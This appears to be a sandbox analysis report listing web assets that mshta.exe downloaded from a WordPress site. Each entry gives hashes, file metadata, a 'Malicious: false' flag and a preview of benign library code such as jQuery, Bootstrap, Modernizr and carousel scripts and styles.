SHA-512:	6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FED
Malicious:	false
Reputation:	high, very likely benign file
Preview:	<root></root>

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\bootstrap-grid.min[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	15140
Entropy (8bit):	5.208958193254912
Encrypted:	false
SSDEEP:	384:R8xYxpW3Jzw4g0mCZuUwG8Su9uteW5GF1Eh:R8expW3JzwbCUUC3GGf2
MD5:	C3AFA9C619C14F0C3B0CA0BB13F12BD9
SHA1:	F3A2FE1CD8A2A51B7EBFE402D983DC7F16DBA5AA
SHA-256:	DE56C5F70EA565FDC866ADE91C95AB84151F55E030F861B3509141B24FD54733
SHA-512:	74B50CA4FC1D2EB7E6855036CEC9E86ECCA75BF8E05A965D5424B14551F4EC1969A3F94327E8042A48F2EF826D0F27166ACD1479D3105B814325708B4222FBB6
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8
Preview:	.mp-row{margin-left:-20px;zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;*zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{dis

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\bootstrap.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	28756
Entropy (8bit):	5.071148466705677
Encrypted:	false
SSDEEP:	768:EAkESlcDWdfi5SSjb60vPxMhdo2YSHZ/ZQesapu7odL:Y8ZMSmZ7z
MD5:	BE1C5898C4332C8E7F9906011E005BB0
SHA1:	9567F7B3FD78160203C5795D397128390381D8A3
SHA-256:	7C1D540B7034E4790ECE82622854C1FBF34F0D4297F3167D914FB09DDAE6CB4C
SHA-512:	0799162F87D2A6AC7932CECBE041FB3284EE64663C17BBADFE439E750E768D4EF4AA9A73BCC1353512AE0ADA813698DD8DD8372A753946F318BB265CAB2C2DAA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Preview:	/*. Bootstrap.js by @fat & @mdo.* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js.* Copyright 2012 Twitter, Inc..* http://www.apache.org/licenses/LICENSE-2.0.txt.*/.!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$element.find(".modal-body").load(this.options.remote)};b.pr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\camera[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	26264
Entropy (8bit):	5.17784391797181
Encrypted:	false
SSDEEP:	192:D4Js/c+wkDZnVwkExwkBxN7ZDFBxJbtLwb/+luajba3RI4zQDaRzBBpCJyJUt:OeZnMRUCJyJUt
MD5:	4801E1D3D131C3628342CAACC406479D
SHA1:	3078A5FC945049A7B9E90829123ACAE900C74324
SHA-256:	3DF13F8DC45F6168A5EFF9BB8F32FA6807BA3EFE0DB1F76CE808BB7B0F48CA01
SHA-512:	9863D94FECA024EE25B8D1F93F20D0E2E86A9E884C6E3325149DE148F12F54DF82DF2FA0995FBC3FC3C66B4AB15382251703CEE2C7A623CCB86B19601B9E6B1D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Preview:	/*************************...GENERAL..**************************/..camera_wrap a, .camera_wrap img, ..camera_wrap ol, .camera_wrap ul, .camera_wrap li,..camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td..camera_thumbs_wrap a, .camera_thumbs_wrap img, ..camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,..camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {..background: none;..border: 0;..font: inherit;..font-size: 100%;..margin: 0;..padding: 0;..vertical-align: baseline;..list-style: none.}..camera_wrap {..display: none;..float: left;..position: relative;..z-index: 0;.}..camera_wrap img {..max-width: none!important;.}..camera_fakehover {..height: 100%;..min-height: 60px;..position: relative;..width: 100%;..z-index: 1;.}..camera_wrap {..width: 100%;.}..camera_sr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\custom[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7063
Entropy (8bit):	4.760531090364714
Encrypted:	false
SSDEEP:	96:bHXKN1r0gCJ5e2zHdXv9CSjlvrOQLAn2jYU:bHaH0g4JXv9fJaWAn6p
MD5:	9CA23FDB7BD610BD719855071377B6EF
SHA1:	058963F75C878FA6E48671046293F9B70D35B5AB
SHA-256:	859D8F76737036B7C6475508DBA8DA8BD0764AA99CA5A9D4638FADC0238AB4A4
SHA-512:	15625C798E1402DACAFFBFBE064CD3D430D51FBB0E40890AD08A4F60389D24459C7B6E19030EDB32380377E73E0C387A819AB29AF308C5DE5C3E708AEA416556
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Preview:	// ---------------------------------------------------------.// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!.// ---------------------------------------------------------.jQuery(document).ready(function(){.// ---------------------------------------------------------.// Blog masonry.// ---------------------------------------------------------..if(jQuery('body.blog')[0]){...var isotope_holder = jQuery('.isotope');...isotope_holder.imagesLoaded( function() {....isotope_holder.isotope({.....itemSelector : '.post_wrapper',.....hiddenClass : 'hidden',.....resizable : true,.....transformsEnabled : false,.....layoutMode: 'masonry'....}).bind("resize.rainbows", function(){.....isotope_holder.isotope('reLayout');....}).trigger("resize.rainbows").css({'visibility':'visible'});...});..}.// ---------------------------------------------------------.// Call Magnific Popup.// ---------------------------------------------------------..jQuery(".thumbnail").parent().each(function(){magnific_p

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\facex_horizontal2-e1535501425981[1].png

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 647 x 203, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	22332
Entropy (8bit):	7.95225542017139
Encrypted:	false
SSDEEP:	384:uOarYkT57qgE2KHef+OaSjnSuvLYF4Ex+ZdnNqe7rS1:darV5ugE2KzO5bSuvLY6Ex0nZ/S1
MD5:	2480CFD093671638A8FB34154B96D47A
SHA1:	3F412F18AAAFDEDC7354C60A7B1CE6A5DD5168D3
SHA-256:	3B2E707E645AF05594B0E247F77AB992B59767637F9A21A34A826CC16E0250D2
SHA-512:	C6FF46FC26E7F934812382F0AAE8BABEC184207F00E4FE696BE92F9548DC3630657B5EFFD87EA284254A8E6A6DCFCCEB93862AD6DB0F6D6647E026346963158D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Preview:	.PNG........IHDR...............9... .IDATx..y\|T...?.;K&.!.$........#K@..nE....e.Vl..........i.....Rk!..\.......(.,!..I.!d..~.?f.If.=w.d&.y..W.=..3K.~.w.$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$...ho V..l..We[@.LJ......m....3.Dp...Fb4........Cc...\{._.D".H$..Vz.8.{.d....)y._.p.@..9.D....f.01...S...lQ....5`m.D".H$.C.q....T..z..L........b0.dP)..2<.L..... .H$..D..!.wWT.i.....8.......L........<"5.[.H$..D.....H.pUQo%`.@.....Q...P.q9..D{?..D".Hz..J..=y2..T......D{?F... ~.U.......H$..D.....6....\|........f..m...........-...].4.<P....E.. .b..bBo......$.!.w......'.&%....n........~{.ZL".H$..$.]Z.~\qj...#L\|.....GN6...z..9.oj..Yc..T6t.ID.....I......NAn.d..{....R.G/.M...J$..D"..tIq..h.`......f...`.j\|Yy.......6C2.b...d`_..N:...._...b~(?7s..;.H$..D...R.p..d%N}.....u..f.~q.e.x..).[....L.M..,...........f....$..D".....8.]^.}..#B........Nb..U.Z{...3.+.+.za..,L.(...I.<.;...bv-..0.9...H$..D.].yq..p.0R.gAt....g....l..T.\.F1.j

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\flexslider[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	5941
Entropy (8bit):	5.075074456166432
Encrypted:	false
SSDEEP:	48:+XXpDjoVAxgD1/g1JlYZYGWUQlfAci14nNSvOFfYuzjwWPQvg8DhHoqK4zORAxFm:KpoVhxSK6UQlf21VOCo8FI74aRO9nblc
MD5:	C553A58B7B87830D624BC55C478732AD
SHA1:	E53CF7C7030F1CAACFEF4C00E7092340B61ABFC2
SHA-256:	013585D07F16D114D3402E3B540854C914254D7F17FD430E216E8DF7334C9C92
SHA-512:	8A68FBB8ECEC471BFDA84B524C56085BD8D928A97B0F538E531E2E057A15DA74FEDE3A2F32EEDE437C278778A302B25F4AE3B388E135878C0D2283691B7E3C48
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Preview:	/. jQuery FlexSlider v2.2.0. * http://www.woothemes.com/flexslider/. . Copyright 2012 WooThemes. * Free to use under the GPLv2 license.. * http://www.gnu.org/licenses/gpl-2.0.html. . Contributing author: Tyler Smith (@mbmufffin). /.../ Browser Resets.********************************/..flex-container a:active,..flexslider a:active,..flex-container a:focus,..flexslider a:focus {outline: none;}..slides,..flex-control-nav,..flex-direction-nav {margin: 0; padding: 0; list-style: none;}..flexslider-rtl {direction:rtl; text-align:right;}./ Icon Fonts.********************************/./ Font-face Icons */.@font-face {..font-family: 'flexslider-icon';..src:url('fonts/flexslider-icon.eot');..src:url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'),...url('fonts/flexslider-icon.woff') format('woff'),...url('fonts/flexslider-icon.ttf') format('truetype'),...url('fonts/flexslider-icon.svg#flexslider-icon') format('svg');..font-weight: normal;..font-style: normal;.}../

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\gtranslate-style24[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	693
Entropy (8bit):	4.934608717734217
Encrypted:	false
SSDEEP:	12:4IYVc5Y6ls3SFy4n51hHSs5n8oD6jc5n8JH6uDvKROYABO0b2TLx3OsqTLxN8QOX:4IYVc5Y6B51hys5n8G6jc5n8JH6uDvKX
MD5:	9B0F26CF8D22D4E9455F67B21C2F9759
SHA1:	F0240A4411D4A2EB073C574D37618E503392B76E
SHA-256:	226456D9A9EEF8F0831B6B181BE100A49CBAEC1651A8BD45D7D0CC897D161538
SHA-512:	FB5BA2942B79906FD59181F39F3C753D9950AB5502A56A3D164DFF50516CC70149EA68D3478F4B7ADC09E7FB67FD8519FF83EFD5089FA51B1B85400C50641D4B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Preview:	a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}.a.gflag img {border:0;height:24px;display:inline;}.a.gflag:hover {background-image:url(24a.png);}.img.gstats {display:none;}.a.alt_flag {background-image:url(alt_flags.png);}.a.alt_flag:hover {background-image:url(alt_flagsa.png);}.a.us_flag {background-position:-0px -100px;}.a.br_flag {background-position:-100px -100px;}.a.mx_flag {background-position:-200px -100px;}..a.glink {text-decoration:none;}.a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}.a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}.a.glink:hover img {opacity:1;}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jflickrfeed[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1076
Entropy (8bit):	5.146194862266352
Encrypted:	false
SSDEEP:	24:2wFz5dxCwMo9Ip1Axquw14QOdq9aE0VrkV/VDFVHV6VJvV7d9r2lLnsn1Dn:FzVdYgqjOdquS9z1wJtJe7s1D
MD5:	FE76A6B329775418FB0EFE5FE8797001
SHA1:	6ADF84DEC08BAF40C1CB81BB94610EEBEB630451
SHA-256:	7F83A9259FD19BC18D4C3ED17095CBDE1A8974BA1E727F99321454E6F117D4E7
SHA-512:	D94D842E4461984D5858CA04B1C7C9B7F3BCDB25F6C8BD551F1CA6825ACC314DEE3E4F5605A97DD79EF92703BF5AB7B8DE9BE91C5802063A311C2945173397CE
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Preview:	(function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f\|\|(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=./<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h+"}}","g"),a[h]);g.append(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jquery-1.7.2.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines
Category:	downloaded
Size (bytes):	94840
Entropy (8bit):	5.372946098601679
Encrypted:	false
SSDEEP:	1536:8YRKUfAjtledhTmtaFyQHGvCXsedOgRc9izzr4yff8teLvHHEjam7W5X3yzSiLnM:VUb6GvCu09s2o2skAieW
MD5:	B8D64D0BC142B3F670CC0611B0AEBCAE
SHA1:	ABCD2BA13348F178B17141B445BC99F1917D47AF
SHA-256:	47B68DCE8CB6805AD5B3EA4D27AF92A241F4E29A5C12A274C852E4346A0500B4
SHA-512:	A684ABBE37E8047C55C394366B012CC9AE5D682D29D340BC48A37BE1A549AECED72DE6408BEDFED776A14611E6F3374015B236FBF49422B2982EF18125FF47DC
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Preview:	/! jQuery v1.7.2 jquery.com \| jquery.org/license /.(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView\|\|a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"\|\|e===""){ck\|\|(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl\|\|!ck.createElement)cl=(ck.contentWindow\|\|ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTyp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jquery-migrate-1.2.1.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	7199
Entropy (8bit):	5.223786028238701
Encrypted:	false
SSDEEP:	96:tBySz91Gwyk35YrfBewIt9jKLKDs2SFNK7wIDBRANyCfVJ45NI:zySzvGw/35YbMx9jKLKD3UIDBR8VVUq
MD5:	EB05D8D73B5B13D8D84308A4751ECE96
SHA1:	743052320809514FB788FE1D3DF37FC87CE90452
SHA-256:	1E67D8DBCCA1F6FD94E077C85C2FB40FA1C2756C99238DAA8DA882144260A68D
SHA-512:	7B68A43A22A41404A2FF58E0DA6A237492CAD0FC3E56D216980802B4D5FB483895262A7E049340D6670002BDF899BA88C319239E60D0AAE1AC31D98556B0AD6E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Preview:	/! jQuery Migrate v1.2.1 \| (c) 2005, 2013 jQuery Foundation, Inc. and other contributors \| jquery.org/license /.jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]\|\|(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get\|\|function(){return null},c=e.attrHoo

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jquery.mobile.customized.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	17219
Entropy (8bit):	5.3136571369702965
Encrypted:	false
SSDEEP:	384:9Cda0BL3liEPys8C5w+J1HAZ3vePKL3VYb2:YDdys8CuYKZ3vePKL3Wi
MD5:	F937C24AEE1A092CB9A337391ACFA645
SHA1:	22B537591377B42445B6383F54F6C05D4EBFE39A
SHA-256:	B5CF71E5EBD435D68E269558177FD4F444F36B0E8C18F7299F1590E0EE12B146
SHA-512:	9F2BE4FD1D3D2CBD2B8E7E4028F540C6CE0FD5889F4CD5BD2DB06076239E400CC07E0DB88319E9C3AAD8973E70CACAC5F69247DC7E09B777ECBF67C3F26FE059
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Preview:	window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b\|\|a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]\|\|{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix\|\|b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=function(c,d){a.fn[c]=function(e){var f=typeof e==="str

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\logo-slider-wp-public[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3006
Entropy (8bit):	4.209501226216895
Encrypted:	false
SSDEEP:	48:N10K1DK3whocmVMBCu2m+JI/QNAIslqw+Pw6z:NSqDK3sN+JWkF/H
MD5:	7B766A62E26ADB736A822B315A891025
SHA1:	A2580B9177A2CA0ACB345FE440414DE7DF2A5E26
SHA-256:	65CA4BF164BFD1056D4AF9E83F40FB8B4D51840485D9A09021468BB3F5AAAC76
SHA-512:	8FE2938731EBB108F8797DA1D46CEB7E353131D770633FB9AF4E36BE48D19B912742028E86B0D7AF5587A19A328AD0E6C2945B550E2C347482375A1C10CE88A6
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0
Preview:	(function() {.. 'use strict';.... /*.. All of the code for your public-facing JavaScript source.. * should reside in this file... .. Note: It has been assumed you will write jQuery code here, so the.. * $ function reference has been prepared for usage within the scope.. * of this function... .. This enables you to define handlers, for when the DOM is ready:.. .. $(function() {... ... });.. .. When the window is loaded:.. .. $( window ).load(function() {... ... });.. .. ...and/or other possibilities... .. Ideally, it is not considered best practise to attach more than a.. * single DOM-ready or window-load handler for a particular page... * Although scripts in the WordPress core, Plugins and Themes may be.. * practising this, we should strive to set a better example in our own work... */...... jQuery(document).ready(function($) {.... $('.lgx-logo-carousel'

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\magnific-popup[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9304
Entropy (8bit):	4.884999133560261
Encrypted:	false
SSDEEP:	192:hNQeaSgt1RlPZpFXWi6fEKJHFiN6/kw57F5fmu4xCEBvL:uTPdXDlwFdF5On
MD5:	33F641DF8C0FC8A2A5C9C7FAD61EC019
SHA1:	7E4999E434F83D66A6E436DA9373880C47289704
SHA-256:	690587B44CBF9FF5EFA013957F8460D96B36775ACBB27472CFB6DC34BB91AF4D
SHA-512:	910F7FD759FD016EED7C7707E971DAAD57DB08D5CE421D7C94B43CCCCB67440654B87CC2FA3B75C28DC77DBE77C017B2EB7A1BE38436061AE9CF177F1FA900BB
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
Preview:	/* Magnific Popup CSS */..mfp-bg {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1042;. overflow: hidden;. position: fixed;. background: #0b0b0b;. opacity: 0.8;. filter: alpha(opacity=80); }...mfp-wrap {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1043;. position: fixed;. outline: none !important;. -webkit-backface-visibility: hidden; }...mfp-container {. text-align: center;. position: absolute;. width: 100%;. height: 100%;. left: 0;. top: 0;. padding: 0 8px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box; }...mfp-container:before {. content: '';. display: inline-block;. height: 100%;. vertical-align: middle; }...mfp-align-top .mfp-container:before {. display: none; }...mfp-content {. position: relative;. display: inline-block;. vertical-align: middle;. margin: 0 auto;. text-align: left;. z-index: 1045; }...mfp-inline-holder .mfp-content,..mfp-ajax-holder .mfp-content {. width: 100

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\modernizr[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	12314
Entropy (8bit):	5.301581700967231
Encrypted:	false
SSDEEP:	192:Eu55THWDn9KHdfJJqbbo5jaSJJJkSeIUHV+2LDDhWwpy8b7z:j5RHWD9KxJJAo5jakrwHVrHh1pz
MD5:	8CEF5686125E254FB53C25F16E310525
SHA1:	93522E2AB068A3433331E08144722DD57A8FAE9A
SHA-256:	6C44371BECA8CB2A76B857B17532BB3512B2E68B4A8678AB4288B95353005A0F
SHA-512:	BBA61E0EC78AC07E6EF8D4195D6E17B6276559129749F1B1C836826AB5660CFC5441CB7F979EFDC7D5ED0931EC2AD8C6DC21BAEF83CB19218B107441B2A9E290
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Preview:	;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b\|\|""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d\|\|b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")\|\|D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:abs

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\owl.carousel[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	downloaded
Size (bytes):	89992
Entropy (8bit):	5.084392122174397
Encrypted:	false
SSDEEP:	1536:owLoreUC7AuLMjvNlP8GNMBJ6IcIhKJQIOybQOoiYM9OJ0QQKOv:oUMNlPBqJTuOGQOotEhKOv
MD5:	CCDF893E7D8B26933AF0C336BCC3943E
SHA1:	AC575BA3377F95EF22BAD865EC35B0B3DCB0DFE0
SHA-256:	DB9D6CF3C1C4B047C62F646E7D9991C06A212931C362BF53F9A2406B30F09466
SHA-512:	818DB99C2EB775D1342DC2CF871509185C5AD86A08C80E452F29B8509A870C43078E9F11113E999FF487A35B25B6DDD6B95B6A7F2C4408FDFCFDD69473F59510
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. /./. Owl carousel. * @version 2.3.4. * @author Bartosz Wojciechowski. * @author David Deutsch. * @license The MIT License (MIT). * @todo Lazy Load Icon. * @todo prevent animationend bubling. * @todo itemsScaleUp. * @todo Test Zepto. * @todo stagePadding calculate wrong active classes. /.;(function($, window, document, undefined) {.../.. Creates a carousel... * @class The Owl Carousel... * @public.. * @param {HTMLElement\|jQuery} element - The element to create the carousel for... * @param {Object} [options] - The options.. /..function Owl(element, options) {..../... Current settings for the carousel.... * @public... /...this.settings = null;..../... Current options set by the caller including defaults.... * @public... /...this.options = 